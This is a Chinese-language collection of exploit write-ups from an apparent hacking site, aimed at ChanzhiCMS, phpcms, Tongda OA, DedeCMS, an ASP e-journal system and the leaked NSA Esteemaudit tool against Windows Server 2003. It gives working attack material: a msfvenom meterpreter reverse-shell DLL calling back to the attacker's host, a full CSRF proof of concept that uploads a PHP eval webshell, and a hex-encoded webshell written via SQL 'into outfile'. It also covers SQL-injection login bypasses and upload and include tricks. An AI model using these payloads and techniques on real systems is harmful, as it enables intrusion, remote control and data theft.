中国骇客云ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程

近日臭名昭著的方程式组织工具包再次被公开,TheShadowBrokers在steemit.com博客上提供了相关消息。以下是其中Esteemaudit漏洞复现过程。

前期准备

IP系统信息用途备注
192.168.146.132Windows xp攻击机需安python2.6.6&pywin32
192.168.146.129kali 2.0用于生成攻击payload(反弹shell等)和控制反弹的shell会话生成reverse shell 的dll
192.168.146.136Windows Server 2003靶机域控环境

靶机环境

1.png

需要域控环境

Esteemaudit漏洞复现过程

use Esteemaudit使用漏洞模块

2.png

设置目标IP和端口

3.png

然后基本上默认,基本配置如下:

4.png

运行后再进行配置。

5.png

然后基本上选择相对应的设置,CallbackIp填自己的,端口随便

6.png

然后配置DLL。注意这里默认路径基本上是不对,找到自己对应的文件路径进行修改:

7.png

然后基本上配置如下

8.png

可以运行了

9.png

利用Pcdlllauncher注入DLL

使用Pcdlllauncher

use Pcdlllauncher

10.png

然后生成用于反弹shell的dll payload:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.146.129 LPORT=4444 -f dll >win.dll

12.png

然后进行配置

找到自己对应的文件路径修改

11.png

要注入的恶意DLL文件路径

13.png

然后基本上默认,运行就行了,成功注入

查看Metasploit,成功返回shell

14.png

骇客云漏洞发布网蝉知CMS5.3 CRSF getshell

详细说明:

/system/module/package/control.php

PHP

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

public function upload($type = ‘extension’)

    {

        $this->view->canManage = array(‘result’ => ‘success’);

        if(!$this->loadModel(‘guarder’)->verify()) $this->view->canManage = $this->loadModel(‘common’)->verifyAdmin();

 

        if($_SERVER[‘REQUEST_METHOD’] == ‘POST’)

        {

            if($this->view->canManage[‘result’] != ‘success’) $this->send(array(‘result’ => ‘fail’, ‘message’ => sprintf($lang->guarder->okFileVerify, $this->view->canManage[‘name’], $this->view->canManage[‘content’])));

            

            if(empty($_FILES))  $this->send(array(‘result’ => ‘fail’, ‘message’ => ));

 

            $tmpName  = $_FILES[‘file’][‘tmp_name’];

            $fileName = $_FILES[‘file’][‘name’];

            $package  = basename($fileName, ‘.zip’);

            move_uploaded_file($tmpName, $this->app->getTmpRoot() . “/package/$fileName”);

 

            $info = $this->package->getInfoFromDB($package);

            $option = (!empty($info) and $info->status == ‘installed’) ? ‘upgrade’: ‘install’;

            $link = $option == ‘install’ ? inlink(‘install’, “package=$package&downLink=&md5=&type={$type}”) : inlink(‘upgrade’, “package=$package&downLink=&md5=&type={$type}”);

            $this->send(array(‘result’ => ‘success’, ‘message’ => $this->lang->package->successUploadedPackage, ‘locate’ => $link));

        }

 

        $this->view->title = $this->lang->package->upload;

        $this->display();

    }

 

后台这里上传文件的时候,没有判断文件后缀,直接通过move_uploaded_file移动到package目录下了。而这里没有token,所以可以通过CSRF漏洞getshell。

漏洞证明:

POC:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

<html>

  <body>

    <script>

      function submitRequest()

      {

        var xhr = new XMLHttpRequest();

        xhr.open(“POST”, “http://127.0.0.1/chanzhi/admin.php?m=package&f=upload”, true);

        xhr.setRequestHeader(“Accept”, “application/json, text/javascript, */*; q=0.01”);

        xhr.setRequestHeader(“Content-Type”, “multipart/form-data; boundary=—-WebKitFormBoundaryGgFOYWAluy1F8lvn”);

        xhr.setRequestHeader(“Accept-Language”, “zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4”);

        xhr.withCredentials = true;

        var body = “——WebKitFormBoundaryGgFOYWAluy1F8lvn\r\n” +

          “Content-Disposition: form-data; name=\”file\”; filename=\”php.php\”\r\n”+

          “Content-Type: text/php\r\n” +

          “\r\n” +

          “\x3c?php\r\n” +

          “@eval($_GET[\’a\’]);\r\n” +

          “?\x3e\r\n” +

          “——WebKitFormBoundaryGgFOYWAluy1F8lvn–\r\n”;

        var aBody = new Uint8Array(body.length);

        for (var i = 0; i < aBody.length; i++)

          aBody[i] = body.charCodeAt(i);

        xhr.send(new Blob([aBody]));

      }

      submitRequest();

    </script>

    

  </body>

</html>

管理员点击后,成功创建文件。

11221434fef44f3e20b39bdac93fd4f66ccfb700[1]

成功执行phpinfo

1122145631ccefd82ceae87f0b819ab0ca19094a[1]蝉知CMS5.3 CRSF getshell

骇客云安全漏洞发布网万众电子期刊在线阅读系统ASP版本getshell

最近在看一套信息分类系统。看了好久毫无头绪,结果意外的发现了他们使用了万众电子期刊ASP版本。于是找来源码看了下。意外的发现了sql注入以及集合IIS6的getshell

1.sql注入

ASP

‘登录验证

sub login

username=request.form(“username”)

password=request.form(“password”)

if username=””or password=”” then

response.write”<script>alert(‘账号和密码不能为空!’);</script>”

else

set rs=server.createobject(“adodb.recordset”)

sql=”select * from W_user where W_user_name='”&username&”‘ and W_user_password='”&md5(password)&”‘”

rs.open sql,conn,1,1

if rs.eof then

response.write”<script>alert(‘用户名或密码错误!’);</script>”

else

Session(“login_user_name”)=username

Session(“login_user_password”)=md5(password)

response.write”<script>location.href = ‘index.asp'</script>”

end if

end if

end sub

很明显的

Transact-SQL

sql=”select * from W_user where W_user_name='”&username&”‘ and W_user_password='”&md5(password)&”‘”

直接就admin’or’=’or’就可以万能密码登录了

2.getshell 需要结合解析来进行

ASP

<%

response.charset = “GBK”

dim picdir

picdir = request.querystring(“picdir”)

if request.querystring(“menu”) = “up” then

dim fileup,formpath,file,filename

picdir2 = request.querystring(“picdir”)

‘当点击了上传之后,执行上传操作

set fileup=new Upload_file  ‘实例化一个类 fileup就是一个对象

fileup.GetDate(-1)   ‘

formpath=”upload/” & picdir2 & “/” ‘上传的路径

Set fs = Server.CreateObject(“Scripting.FileSystemObject”)

If not fs.FolderExists(server.mappath(formpath)) Then

fs.CreateFolder(server.mappath(formpath))

End If

set file=fileup.file(“file”)  ‘创建一个file对象,通过上面一个对象的file方法传入一个”file”参数

‘这个方法能够返回你上传文件的后缀

‘只允许上传指定的图片文件

if file.fileext <> “jpg” and file.fileext <> “gif” and file.fileext <> “png” and file.fileext <> “jpeg” then

response.write “<script>alert(‘图片类型必须是jpg,gif,png这三种’);window.close();</script>”

response.end

end if

‘建立一个完整的路径

filename = formpath & year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now) & “.” & file.fileext

file.savetofile server.mappath(filename)

 

set file = nothing

set fileup = nothing

response.write “<script>a(‘”&filename&”‘);</script>”

response.write “<script>alert(‘图片上传成功’);window.close();</script>”

else

%>

<div class=”upfile”>

<form enctype=”multipart/form-data” method=”post” action=”?menu=up&amp;picdir=<%=picdir%>”>

<input type=”file” name=”file” size=”30″>

<input type=”submit” value=”上 传 ” />

</form>

</div>

<%

end if

%>

很明显,我稍微处理下

ASP

picdir = request.querystring(“picdir”)  获取dir

‘当点击了上传之后,执行上传操作

set fileup=new Upload_file  ‘实例化一个类 fileup就是一个对象

fileup.GetDate(-1)   ‘

formpath=”upload/” & picdir2 & “/” ‘上传的路径

 

Set fs = Server.CreateObject(“Scripting.FileSystemObject”)

If not fs.FolderExists(server.mappath(formpath)) Then

fs.CreateFolder(server.mappath(formpath))

End If

set file=fileup.file(“file”)  ‘创建一个file对象,通过上面一个对象的file方法传入一个”file”参数

‘这个方法能够返回你上传文件的后缀

如果我传入的picdir=1.ASP;.JPG那么不是就生成了这个目录。然后随便传入图片马儿就可以getshell了

中国骇客云0day漏洞之蝉知 5.6 getshell

前台注入
在/chanzhieps/system/module/cart/control.php页面的add函数

public function add($product, $count) $count是用户输入
我们看会员登录以后的,也就是$result = $this->cart->add($product, $count);
/chanzhieps/system/module/cart/model.php

如果能查到产品的话,更新数量set(“count= count + {$count}”)
继续跟进set函数
/chanzhieps/system/lib/base/dao/dao.class.php

可以看到直接进入了$this->sql

成功延时

坑点来了:
在解析url的时候 有一句if(strpos($uri, ‘_’) !== false) $uri = substr($uri, 0, strpos($uri, ‘_’));
不能使用下划线,但是admin表的表名为eps_user
以我目前的知识储备,应该是无解的。

然后我注意到,这个cms用的是pdo的方式连接mysql。也就是说可以多语句执行
想起来前一天看ven师傅blog的时候学到的一个技巧。

set @a:=0x73656C6563742070617373776F72642066726F6D206570735F75736572206C696D697420313B
设置变量a,后面的值是select password from eps_user limit 1;的hex值
prepare s from @a; 准备一个查询语句
execute s;执行
当然,耶可以直接更新用户为super

完美 至此,我们可以控制数据库任何数据。

后台getshell

后台getshell 一般是上传,写模板,写配置文件。
找到/system/module/upgrade/control.php

fromVersion 是用户可控的数据
跟进execute /system/module/upgrade/model.php

可控制数据库,所以$mobileTemplateConfig->lang可控 happy 写文件


my.php

phpcms后台注入至getshell漏洞审计【中国骇客云漏洞转载文章】

漏洞存在文件phpcms\modules\dbsource\call.php的get函数中phpcms1

程序调用了$data变量的数据,而这个变量可以被用户控制(在后台数据源,自定义sql语句的地方),所以可以构造任务sql语句来进行调用(语句尾用–注释掉程序原本的limit语句。

更多关注www.hackerschina.org

phpcms2

后台进行自定义sql,然后调用

phpcms3

既然可以调用任意的sql语句,则可以利用mysql的into outfile 进行文件写入,只要能找到网站程序的绝对路径即可,那么怎样得知绝对路径呢,可以利用sql语句来报错,证明如下:构造自定义sql语句:select 123 into outfile’c:\\test.txt’ — ,然后调用

phpcms4

可以看到程序出错,绝对路径就出来了,此外,尽管程序报错了, 但是sql语句还是顺利执行了,所以利用这个漏洞,只要构造自定义语句:select0x3C3F706870206576616C2028245F504F53545B76616C5D293B203F3E into outfile’D:\\xampp\\htdocs\\phpcms\\abc.php’ — 同样在也前台进行调用,就可以在程序的根目录下程序后门程序,从而GETSHELL。

phpcms5

通达oa前台注入+后台getshell 中国骇客云端漏洞平台更多关注我们

注入分析
\inc\common.inc.php

逻辑分析一下,
CheckRequest函数去检查$_REQUEST,通达oa是环境程序一体安装等,php版本是5.3.29,这个时候的$_REQUEST不包含$_COOKIE的,所以可以通过cookie来覆盖变量。

但是有一个很蛋疼的东西就是

strip_tags是没办法处理数组的,所以会返回null,故想覆盖比如_SESSION['a']的话,是没办法的。

接下来看后面的$_COOKIE->$_POST->$_GET,这些都是用SecureRequest函数去检查。然而这个函数只检查了数组键值,=。=,然后还不允许这样以_GET、_POST等开头变量覆盖

看到这段对$_post的处理

=。=,如果传过去一个TD_HTML_EDITOR__SESSION[a]=1,最后不就成了_SESSION[a]=1,还顺便绕过了上面的正则检查。

注入很多,用的是80sec的waf,比如

http://lemon.love:8081/general/document/index.php/send/approve/finish

bypass出数据:

这样就可以跑出管理员密码,这个是用unix加密的,放cmd5解密一下就好了。

上传+包含=>getshell

general\reportshop\utils\upload.php

上传没验证,然后又可以变量覆盖。所以可以直接上传一个php。

exp.html

上传的地址是:xxx/attachment/reportshop/templates/upload.php

但是因为环境是一体的,所以这些上传的目录并没有执行权限。

看到这段运行的。

所以是这样的一个情况,

这样的包含,可以利用zip、phar协议,但是后面还有?&=等符号,一个文件也没发这样创建。

先创建一个upload…..(很多.).php,然后在winhex里面修改它为

 

这样zip协议包含的时候就可以包含到这个文件了。

整理一下利用过程:

  1. 先上传zip文件,里面包含payload
  2. 再上传一个1.txt文件(任意内容都可以,主要是为了进入include包含里面的条件)
  3. 进行包含

kk123.zip

这个zip包含后会生成一个shell,地址是



dedeCMS友情链接getshell漏洞中国骇客云漏洞报告平台

在tpl.php中

这里是漏洞利用写入文件的地方,但是我们知道,基本所有的不安全情况,是在数据输入输出时发生的,这里的参数是怎么传递过来的呢?还有$filename和$content是怎么传递参数的呢?继续跟踪
config.php又 include了 common.inc.php ,而一般情况下,类似common.php这种文件名的,里面存放着一些将会经常用到的函数。继续跟踪上去。果然发现了猫腻在common.inc.php 发现了

问题在哪呢? 这段代码大概的意思是 从数组中获取获取参数的方,这里GET,POST,COOKIE方式的参数都有了。

先来跟踪GET,二层循环中$_GET(这个可以看作是一个全局数组)**$_k ,$_v 获取数组的key value值.${$_k}这里全局注册了变量,假如输入GET型参数 ?test=k4l0n.则在本php页及所有包含本页的php页中 , $test的值都被赋值为了kl0n
而tpl.php中的$action,$content,$filename变量没有初始化,从而能操纵这些变量写入任意的代码。

继续跟踪 userLogin类的getUserID函数:

userLogin类用户登录

通过跟踪发现,这里没有对管理员的来源页进行任何检查,只是检查了管理员是否登陆,这就造成了一个CSRF漏洞。到这里漏洞思路就很清晰了,由于变量可控漏洞导致可写入任意代码,由于CSRF漏洞诱导管理员以管理员的权限去写入代码。
先上exp:

首先,将这个exp部署在你的服务器上,当然你必须要有一个公网ip,假设你的url为:http://www.xxxx.com/exp.php`
在目标网站的申请友情链接处申请一个友情链接

提交之后等待管理员审核,当管理员审核的时候,一般情况下会点进你的网站看一看

审核的地方在 后台—》模块—》辅助插件—》友情链接

当点这个友情链接的时候,就生成了一句话shell,shell地址在//include/taglib/shell.lib.php